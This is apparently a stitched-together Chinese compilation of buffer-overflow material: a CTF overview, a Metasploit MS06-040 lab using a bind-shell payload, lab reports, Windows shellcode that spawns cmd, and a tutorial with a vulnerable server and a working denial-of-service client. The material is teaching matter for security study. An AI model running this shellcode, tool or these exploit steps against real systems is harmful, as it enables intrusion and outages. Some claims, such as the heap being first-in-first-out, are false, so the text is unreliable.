怎样写远程缓冲区溢出漏洞利用程序
pwn解题思路

pwn解题思路
Pwn(也称为“PWN(pronounced‘pown’)”或者“PWNABLES (或pwnables)”)是一种CTF(Capture The Flag)游戏中的一种类型,通常需要在对一些漏洞(如堆栈缓冲区溢出、格式化字符串漏洞、整数溢出、命令注入等)进行利用,从而获取程序的控制权。
以下是一些pwn解题的思路:
1. 分析漏洞:
首先要获取程序的源代码,然后仔细分析其中有用的函数和数据结构以及对数据进行操作的代码。
主要关注可能被利用的漏洞,例如未经检查的用户输入、缓冲区溢出等。
2. 利用漏洞:
在理解漏洞后,就可以开始考虑如何利用这些漏洞。
一些常见的攻击方法包括:
- 缓冲区溢出:通过向一个缓冲区输入超出其容量的数据来覆盖其他数据或者程序的代码。
- 格式化字符串攻击:利用包含%s等格格式字符串的输入来读取或写入内存中的数据。
- 堆溢出攻击:类似于缓冲区溢出,但是是针对堆的内存管理机制的漏洞。
- 提交已编写的Shellcode:将以二进制格式编写的代码注入到程序的内存中,并利用漏洞调用该代码。
3. 获取程序控制权:
一旦攻击成功,就可以开始寻找程序的控制权。
这可以通过跳
转到指定代码位置、修改程序堆栈指针等方式来实现。
在恢复控制权后,就可以执行自己的代码,以完成特定的任务。
4. 推广:
一旦完成任务并获得标志(Flag),就需要将解决方案分享给其他人,以展示自己的成果。
这可以通过在一些CTF平台上发布自己的解决方案、在社交媒体上分享、撰写相关文章等方式来实现。
实验11 Windows系统缓冲区溢出漏洞利用

Windows系统缓冲区溢出漏洞利用(MS06-040)(SEC-W05-001.1)微软的Server 服务中存在一个远程执行代码漏洞,成功利用此漏洞的攻击者可以完全控制受影响的系统。
实验目的:通过本实验可以了解Windows系统漏洞所能带来的危险,以及如何针对特定的Windows 系统漏洞进行防御。
实验环境:准备一台win2000(未安装补丁文件为Windows2000-KB921883-x86-CHS.EXE,存在远程执行代码漏洞),设置其IP地址为192.168.100.100准备一台win xp电脑,设置其IP地址为192.168.100.101实验准备:首先安装MetaSploit Framework 3.1(在winxp上电脑进行安装)注:在安装过程中,请不要关闭任何弹出的窗口,否则将导致MetaSploit Framework 3.1安装完成后无法使用,必须再次重新安装才可以。
接着安装之后,进行如下操作:1.GUI界面下使用Metasploit:从开始菜单里点击"程序"->"Metasploit 3"->"Metasploit 3 GUI",界面如图1所示:图12.直接在搜索栏输入"ms06_040",返回结果"ms06_040_netapi"如图2所示:图23.双击返回结果"ms06_040_netapi",弹出目标机操作系统选择对话框,请选择"Automatic",如图3所示:图34.点击"前进",选择payload 参数"windows/shell_bind_tcp"后点击"前进"。
图45.在RHOST参数里填上目标机的IP地址(192..168.100.100),其它项按默认配置进行。
网络安全常见漏洞利用方法

网络安全常见漏洞利用方法网络安全是当今社会中一个重要的话题,随着互联网的普及和应用的广泛,网络安全漏洞的利用也越来越多样化和危险化。
本文将介绍网络安全常见漏洞及其利用方法,以增加大家对网络安全的认识和防范意识。
一、操作系统漏洞的利用方法操作系统漏洞是网络安全中最常见的漏洞之一,黑客利用操作系统的漏洞可以实现远程控制、权限提升等恶意行为。
以下是一些常见的操作系统漏洞利用方法:1.1 缓冲区溢出攻击缓冲区溢出是指黑客向程序输入超过其预留空间的数据,从而覆盖掉相邻空间的内容,进而改变程序的执行流程。
黑客可以通过缓冲区溢出攻击来执行恶意代码、控制系统等。
1.2 代码注入攻击代码注入是指黑客将恶意代码注入到正常的代码流程中,使其被执行。
常见的注入方式有SQL注入、XSS(跨站脚本攻击)等。
黑客可以利用代码注入攻击获取用户敏感信息、劫持会话等。
1.3 拒绝服务攻击拒绝服务攻击是指黑客通过向目标服务器发送大量请求,耗尽其资源或使其服务崩溃,从而使合法用户无法正常访问网站或服务。
黑客可以利用操作系统漏洞实施拒绝服务攻击,造成大规模的停机和数据丢失。
二、应用层漏洞的利用方法除了操作系统漏洞外,应用层漏洞也是黑客经常利用的攻击目标。
应用层漏洞通常存在于网站、应用程序等具体实现中,以下是一些常见的应用层漏洞及其利用方法:2.1 跨站脚本攻击(XSS)跨站脚本攻击是指黑客通过在网页中插入恶意脚本,使用户在浏览网页时执行该脚本,从而获取用户的敏感信息或进行其他恶意操作。
黑客可以利用XSS漏洞窃取用户身份信息、篡改网页内容等。
2.2 SQL注入攻击SQL注入攻击是指黑客通过构造恶意的SQL查询语句,使其被数据库误解和执行,从而获取、篡改或删除数据库中的信息。
黑客可以利用SQL注入漏洞获取用户账号、密码等敏感信息。
2.3 文件上传漏洞文件上传漏洞是指网站或应用程序对用户上传的文件没有进行充分的检验和验证,从而被黑客利用上传恶意文件、执行任意代码等。
缓冲区溢出原理

缓冲区溢出原理缓冲区溢出是一种常见的安全漏洞,它利用了程序在处理数据时没有正确限制输入长度的特点。
当程序接收用户输入数据并存储在缓冲区中时,如果输入的数据超过了缓冲区所能容纳的大小,就会导致溢出。
这种溢出可能导致程序崩溃、系统崩溃,甚至是远程攻击者能够利用溢出来执行恶意代码。
缓冲区溢出的原理是利用了程序在内存中分配缓冲区时的特性。
通常,程序在内存中为缓冲区分配一块连续的内存空间,并将用户输入的数据存储在这个缓冲区中。
然而,程序并没有对用户输入的数据长度进行有效的检查和限制,导致用户可以输入超出缓冲区大小的数据。
当用户输入的数据超过缓冲区大小时,多余的数据会被存储在相邻的内存区域中。
攻击者可以利用这个特性,通过输入特定的数据,覆盖控制程序的返回地址或其他关键数据,从而控制程序的行为。
一旦攻击者成功利用缓冲区溢出漏洞,可能会导致以下问题:1. 执行任意代码:攻击者可以注入恶意代码,并使程序执行该代码,这可能导致系统被完全控制。
2. 提升权限:攻击者可以修改关键数据,包括用户权限、系统配置等,从而获得更高的权限。
3. 拒绝服务:攻击者可以通过溢出来破坏程序的正常运行,导致程序崩溃或系统崩溃,从而拒绝正常用户的服务。
为了防止缓冲区溢出,开发者应该采取以下措施:1. 输入验证:对用户输入进行有效验证和过滤,确保输入的数据长度不会超过缓冲区的大小。
2. 使用安全的库函数:使用具有长度检查的安全库函数替代容易造成溢出的不安全函数,例如使用strncpy替代strcpy。
3. 栈保护机制:启用操作系统提供的栈保护机制,如栈保护、地址空间布局随机化(ASLR)等,以减少攻击的可能性。
4. 定期修补和更新:及时安装系统和应用程序的安全补丁,以修复已知的缓冲区溢出漏洞。
通过采取上述措施,可以有效减少缓冲区溢出漏洞的风险,提高系统的安全性。
缓冲区溢出漏洞

缓冲区溢出漏洞IBM软件研究院缓冲区溢出漏洞,是一种在软件中最容易发生的漏洞。
它发生的原理是,由于软件在处理用户数据时使用了不限边界的拷贝,导致程序内部一些关键的数据被覆盖,引发了严重的安全问题。
缓冲区指的是操作系统中用来保存临时数据的空间,一般分为栈和堆两种缓冲区类型。
缓冲区溢出漏洞是一种非常普通、非常危险的漏洞,在各种操作系统、应用软件,甚至是Web应用程序中广泛存在。
利用缓冲区溢出攻击,可以导致程序运行失败、系统当机、重新启动等后果。
更为严重的是,可以利用它执行非授权指令,甚至可以取得系统特权,进而进行各种非法操作。
在当前网络与操作系统安全中,50%以上的攻击都是来自于缓冲区溢出漏洞。
而缓冲区溢出中,最为危险的是栈溢出,因为入侵者可以利用栈溢出,在函数返回时改变返回程序的地址,让其跳转到任意地址,带来的一种是程序崩溃导致拒绝服务,另外一种就是跳转并且执行一段恶意代码,然后为所欲为。
这里要澄清一个概念,很多人把缓冲区溢出称之为堆栈溢出漏洞,其实是错误的,堆溢出和栈溢出是两个不同的概念,都属于缓冲区溢出。
平时听说的缓冲区溢出大部分都是属于栈溢出。
由于程序在实现的过程中,往往会自定义一些内存空间来负责接受或者存储数据,这些被直接定义的空间大小是有限的,因此当程序将过多的数据不经检查而直接放入这些空间中时,就会发生栈溢出。
栈溢出最为直接的危害是,这些被过量放进内存空间的数据会将函数的返回地址覆盖。
“返回地址”的概念来自于CPU处理指令的结构设计。
如果程序现在准备调用一个函数,CPU首先会将执行完这个函数后将要执行的指令地址存储到栈空间中,然后CPU开始执行函数,执行完毕,CPUCPU取出前面保存的指令地址,然后接着执行。
这个“返回地址”是保存在栈空间中的,而程序一般定义的空间也是在栈中进行分配的,这就给了我们覆盖这个“返回地址”的机会。
栈是一个先进后出的空间,而堆则恰恰相反,是一个先进先出的空间。
缓冲区溢出漏洞实验

缓冲区溢出漏洞实验⼀、实验简介缓冲区溢出是指程序试图向缓冲区写⼊超出预分配固定长度数据的情况。
这⼀漏洞可以被恶意⽤户利⽤来改变程序的流控制,甚⾄执⾏代码的任意⽚段。
这⼀漏洞的出现是由于数据缓冲器和返回地址的暂时关闭,溢出会引起返回地址被重写。
原理详解:缓冲区是内存中存放数据的地⽅。
在程序试图将数据放到机器内存中的某⼀个位置的时候,因为没有⾜够的空间就会发⽣缓冲区溢出。
⽽⼈为的溢出则是有⼀定企图的,攻击者写⼀个超过缓冲区长度的字符串,植⼊到缓冲区,然后再向⼀个有限空间的缓冲区中植⼊超长的字符串,这时可能会出现两个结果:⼀是过长的字符串覆盖了相邻的存储单元,引起程序运⾏失败,严重的可导致系统崩溃;另⼀个结果就是利⽤这种漏洞可以执⾏任意指令,甚⾄可以取得系统root特级权限。
缓冲区是程序运⾏的时候机器内存中的⼀个连续块,它保存了给定类型的数据,随着动态分配变量会出现问题。
⼤多时为了不占⽤太多的内存,⼀个有动态分配变量的程序在程序运⾏时才决定给它们分配多少内存。
如果程序在动态分配缓冲区放⼊超长的数据,它就会溢出了。
⼀个缓冲区溢出程序使⽤这个溢出的数据将汇编语⾔代码放到机器的内存⾥,通常是产⽣root权限的地⽅。
仅仅单个的缓冲区溢出并不是问题的根本所在。
但如果溢出送到能够以root权限运⾏命令的区域,⼀旦运⾏这些命令,那可就等于把机器拱⼿相让了。
通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从⽽破坏程序的堆栈,进⽽运⾏精⼼准备的指令,以达到攻击的⽬的。
⼆、缓冲区溢出实例1、利⽤数组越界进⾏缓冲区溢出#include<stdio.h>void HelloWord(){printf("Hello World");getchar();}void Fun(){int arr[5] = {1,2,3,4,5};arr[6] = (int) HelloWord;}int main(){Fun();return 0;}2、利⽤strcpy()函数进⾏缓冲区溢出攻击#include "stdafx.h"#include <stdio.h>#include <string.h>char shellcode3[] = "\x68\x72\x6F\x63\x41\x68\x47\x65""\x74\x50\xE8\x41\x00\x00\x00\x50\x68\x4C\x69\x62\x72\x68\x4C\x6F""\x61\x64\xE8\x31\x00\x00\x00\x50\x68\x72\x74\x00\x00\x68\x6D\x73""\x76\x63\x54\xFF\xD0\x83\xC4\x08\x68\x65\x6D\x00\x00\x68\x73\x79""\x73\x74\x54\x50\xFF\x54\x24\x14\x83\xC4\x08\x68\x63\x6D\x64\x00""\x54\xFF\xD0\x83\xC4\x14\xEB\x67\x55\x8B\xEC\x64\xA1\x30\x00\x00""\x00\x8B\x40\x0C\x8B\x40\x14\x8B\x00\x8B\x70\x28\x80\x7E\x0C\x33""\x75\xF5\x8B\x40\x10\x8B\xF8\x03\x7F\x3C\x8B\x7F\x78\x03\xF8\x8B""\xDF\x8B\x7B\x20\x03\xF8\x33\xC9\x8B\x34\x8F\x03\xF0\x41\x8B\x54""\x24\x08\x39\x16\x75\xF2\x8B\x54\x24\x0C\x39\x56\x04\x75\xE9\x8B""\x7B\x24\x03\xF8\x8B\x0C\x4F\x81\xE1\xFF\xFF\x00\x00\x8B\x7B\x1C""\x03\xF8\x49\xC1\xE1\x02\x8B\x3C\x0F\x03\xC7\x5D\xC2\x08\x00";#pragma comment(linker, "/section:.data,RWE")void Sub_3(){__asm{mov eax, offset shellcode3jmp eax}}void overflow(const char* input){char buf[8];printf("Virtual address of 'buf' = Ox%p\n", buf);strcpy(buf, input);}void fun(){printf("Function 'fun' has been called without an explicitly invocation.\n");printf("Buffer Overflow attack succeeded!\n");}int main(){printf("Address of 'overflow' = Ox%p\n", overflow);printf("Sddress of 'fun' = Ox%p\n", fun);printf("Sddress of 'Sub3' = Ox%p\n", Sub_3);char input[] = "AAAbbbbbbaaa\xA5\x10\x41\x00";//char input[] = "AAAAAAA";overflow(input);return 0;}3、本次实验⽤的测试代码为:#include <stdio.h>int main(){char *name[2];name[0] = "/bin/sh";name[1] = NULL;execve(name[0], name, NULL);}⼀般情况下,缓冲区溢出会造成程序崩溃,在程序中,溢出的数据覆盖了返回地址。
缓冲溢出攻击实验报告

一、实验目的及要求1. 了解缓冲区溢出攻击的原理和类型。
2. 掌握缓冲区溢出攻击的实验方法和步骤。
3. 理解缓冲区溢出攻击的危害性。
4. 学习防范和避免缓冲区溢出攻击的方法。
二、实验环境1. 操作系统:Windows 102. 编程语言:C/C++3. 漏洞利用工具:Metasploit4. 实验环境搭建:使用虚拟机软件(如VMware)搭建实验环境,靶机为Windows 7 SP1,攻击机为Kali Linux。
三、实验内容1. 漏洞分析:分析实验环境中存在的缓冲区溢出漏洞。
2. 攻击实现:利用Metasploit工具对靶机进行攻击,实现远程代码执行。
3. 防御措施:学习防范和避免缓冲区溢出攻击的方法。
四、实验步骤1. 漏洞分析- 使用Ghidra工具对实验环境中的漏洞程序进行反汇编,分析程序中的缓冲区溢出漏洞。
- 发现漏洞程序存在缓冲区溢出漏洞,攻击者可以通过输入超长字符串来覆盖返回地址,从而控制程序的执行流程。
2. 攻击实现- 使用Metasploit工具中的`exploit/multi/handler`模块,设置攻击目标为靶机的IP地址和端口。
- 使用`set payload`命令设置攻击载荷,选择`windows/x64/meterpreter/reverse_tcp`,该载荷可以在攻击成功后与攻击机建立反向连接。
- 使用`set LHOST`命令设置攻击机的IP地址,使用`set LPORT`命令设置端口号。
- 使用`set target`命令设置攻击目标,选择漏洞程序的模块和参数。
- 使用`exploit`命令启动攻击,等待攻击成功。
3. 防御措施- 代码审计:对程序进行代码审计,及时发现并修复缓冲区溢出漏洞。
- 输入验证:对用户输入进行严格的验证,限制输入长度,防止输入超长字符串。
- 边界检查:在代码中添加边界检查,防止缓冲区溢出。
- 安全编程:遵循安全编程规范,使用安全的编程语言和库,避免使用存在漏洞的函数。
软件安全实验二缓冲区溢出漏洞分析与验证

软件安全课程实验报告
实验二缓冲区溢出漏洞分析与验证
一、实验内容
1)本课程实验研究对象是一个Web服务器zookws,该服务器上运行一个Python的web应用zoobar,web用户之间转移一种称为zoo
bars的货币,分析web服务器的逻辑,寻找缓冲区溢出漏洞并触
发该漏洞;
2)实验环境为Ubuntu,在VMware Player虚拟机中的vm-6858运行,系统有两个账号:
root:口令6858,用来安装软件
httpd:口令6858,运行服务器和实验程序
二、实验预备
1.运行ifconfig查看ip
2.远程ssh连接
3. make编译程序
4.启动服务器
5.用浏览器访问zook服务
6.用ps命令查看当前运行的进程
三、寻找漏洞
1.实验缓冲区利用的是strcpy的缓冲区漏洞,找到代码中是否有strcpy,找到了,在dir_join中。
四、触发漏洞
1.打开服务器,启动web
2.那么就可以将原来分配的1024字节大小的缓冲区进行溢出,将请求的路径设
置很长,要超过1024,达到将代码覆盖的效果。
3.漏洞利用结果
五、实验分析与总结
这次实验让我们亲身经历了一次代码审计及缓冲区漏洞利用的过程,实验很有意思,学到的知识也非常的多,通过代码审计,在脑中便利可能的漏洞利用点,然后找出漏洞,并通过shell脚本利用漏洞来进行缓冲区溢出攻击,可以深刻的了解缓冲区漏洞的原理,在以后的审计代码中,会留意,在自己编写程序时,也会避免使用危险函数。
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
怎样写远程缓冲区溢出漏洞利用程序作者:佚名出处:IT 专家网论坛整理 2007-12-18 10:29假设有一个有漏洞的服务器程序(vulnerable.c). 然后写一个 exploit 来 利用该漏洞,这样将能得到一个远程 shell。
一、理解有漏洞程序:#include #include #include #define BUFFER_SIZE 1024 #define NAME_SIZE 2048 int handling(int c) { char buffer[BUFFER_SIZE], name[NAME_SIZE]; int bytes; strcpy(buffer, "My name is: "); bytes = send(c, buffer, strlen(buffer), 0); if (bytes == -1) return -1; bytes = recv(c, name, sizeof(name), 0); if (bytes == -1) return -1; name[bytes - 1] = ’\0’; sprintf(buffer, "Hello %s, nice to meet you!\r\n", name); bytes = send(c, buffer, strlen(buffer), 0); if (bytes == -1) return -1; return 0; } int main(int argc, char *argv[]) { int s, c, cli_size; struct sockaddr_in srv, cli; if (argc != 2) { fprintf(stderr, "usage: %s port\n", argv[0]); return 1; }s = socket(AF_INET, SOCK_STREAM, 0); if (s == -1) { perror("socket() failed"); return 2; } srv.sin_addr.s_addr = INADDR_ANY; srv.sin_port = htons( (unsigned short int) atol(argv[1])); srv.sin_family = AF_INET; if (bind(s, &srv, sizeof(srv)) == -1) { perror("bind() failed"); return 3; } if (listen(s, 3) == -1) { perror("listen() failed"); return 4; } for(;;) { c = accept(s, &cli, &cli_size); if (c == -1) { perror("accept() failed"); return 5; } printf("client from %s", inet_ntoa(cli.sin_addr)); if (handling(c) == -1) fprintf(stderr, "%s: handling() failed", argv[0]); close(c); } return 0; }下面将编译并运行该程序:user@linux:~/ > gcc vulnerable.c -o vulnerable user@linux:~/ > ./vulnerable 8080 ../vulnerable 8080 说明你能在 8080 端口运行该项服务 user@linux~/ > gdb vulnerable GNU gdb 4.18 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, andyou are welcome to change it and/or distribute copies of it under certain con ditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for det ails. This GDB was configured as "i386-suse-linux"... (gdb) run 8080 Starting program: /home/user/directory/vulnerable 8080现在该程序监听 8080 端口并等待连接。
user@linux:~/ > telnet localhost 8080 Trying ::1... telnet: connect to address ::1: Connection refused Trying 127.0.0.1... Connected to localhost. Escape character is ’^]’. My name is: Robin , nice to meet you! Connection closed by foreign host. user@linux:~/ >看来没有什么破绽,但是这时 gdb 会在屏幕上显示: client from 127.0.0.1 0xbffff28c (访地址因不同机器类型而异) 二、令有漏洞程序发生缓冲区溢出 重新连上该服务,为 "My name is:..." 命令行提供超过 1024 个字节长 的输入:user@linux:~/ > telnet localhost 8080 Trying ::1... telnet: connect to address ::1: Connection refused Trying 127.0.0.1... Connected to localhost. Escape character is ’^]’. My name is: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAA连接将中断,让我们看看 gdb 的输出:Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () (gdb) // Don’t close gdb !!能够看出 eip 被设到了 0x41414141。
0x41 代表一个"A",当我们输入 1024 个字节时, 该程序会试图将字符串 name[2048]拷入缓冲[1024]。
因此, 由于 name[2048] 大于 1024 字节, name 将会重写缓冲并重写已被存储的 eip,我们的缓冲将会是下列形式:[xxxxxxxx-name-2048-bytes-xxxxxxxxxx] [xxxxx buffer-only-1024-bytes xxx] [EIP] 在你重写了整个返回地址后, 函数将会跳转到错误的地址 0x41414141, 从而产生片断错误。
现在为此程序写一个拒绝服务攻击工具:#include #include #include #include #include int main(int argc, char **argv) { struct sockaddr_in addr; struct hostent *host; char buffer[2048]; int s, i; if(argc != 3) { fprintf(stderr, "usage: %s \n", argv[0]); exit(0); } s = socket(AF_INET, SOCK_STREAM, 0); if(s == -1) { perror("socket() failed\n"); exit(0); } host = gethostbyname(argv[1]); if( host == NULL) { herror("gethostbyname() failed"); exit(0); } addr.sin_addr = *(struct in_addr*)host->h_addr; addr.sin_family = AF_INET; addr.sin_port = htons(atol(argv[2])); if(connect(s, &addr, sizeof(addr)) == -1) { perror("couldn’t connect so server\n");exit(0); } /* Not difficult only filling buffer with A’s.... den sending nothin g more */ for(i = 0; i < 2048 ; i++) buffer[i] = ’A’; printf("buffer is: %s\n", buffer); printf("buffer filled... now sending buffer\n"); send(s, buffer, strlen(buffer), 0); printf("buffer sent.\n"); close(s); return 0; }三、找到返回地址: 打开 gdb 寻找 esp:(gdb) x/200bx $esp-200 0xbffff5cc: 0x41 0x41 0x41 0x41 0x41 0xbffff5d4: 0x41 0x41 0x41 0x41 0x41 0xbffff5dc: 0x41 0x41 0x41 0x41 0x41 0xbffff5e4: 0x41 0x41 0x41 0x41 0x41 0xbffff5ec: 0x41 0x41 0x41 0x41 0x41 0xbffff5f4: 0x41 0x41 0x41 0x41 0x41 0xbffff5fc: 0x41 0x41 0x41 0x41 0x41 0xbffff604: 0x41 0x41 0x41 0x41 0x41 0xbffff60c: 0x41 0x41 0x41 0x41 0x41 0xbffff614: 0x41 0x41 0x41 0x41 0x41 0xbffff61c: 0x41 0x41 0x41 0x41 0x41 0xbffff624: 0x41 0x41 0x41 0x41 0x41 0xbffff62c: 0x41 0x41 0x41 0x41 0x41 0xbffff634: 0x41 0x41 0x41 0x41 0x41 0xbffff63c: 0x41 0x41 0x41 0x41 0x41 0xbffff644: 0x41 0x41 0x41 0x41 0x41 0xbffff64c: 0x41 0x41 0x41 0x41 0x41 0xbffff654: 0x41 0x41 0x41 0x41 0x41 0xbffff65c: 0x41 0x41 0x41 0x41 0x41 0xbffff664: 0x41 0x41 0x41 0x41 0x41 0xbffff66c: 0x41 0x41 0x41 0x41 0x41 0xbffff674: 0x41 0x41 0x41 0x41 0x41 0xbffff67c: 0x41 0x41 0x41 0x41 0x41 ---Type to continue, or q to quit--0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41现在我们已经知道重写了整个缓冲,让我们试试几个地址。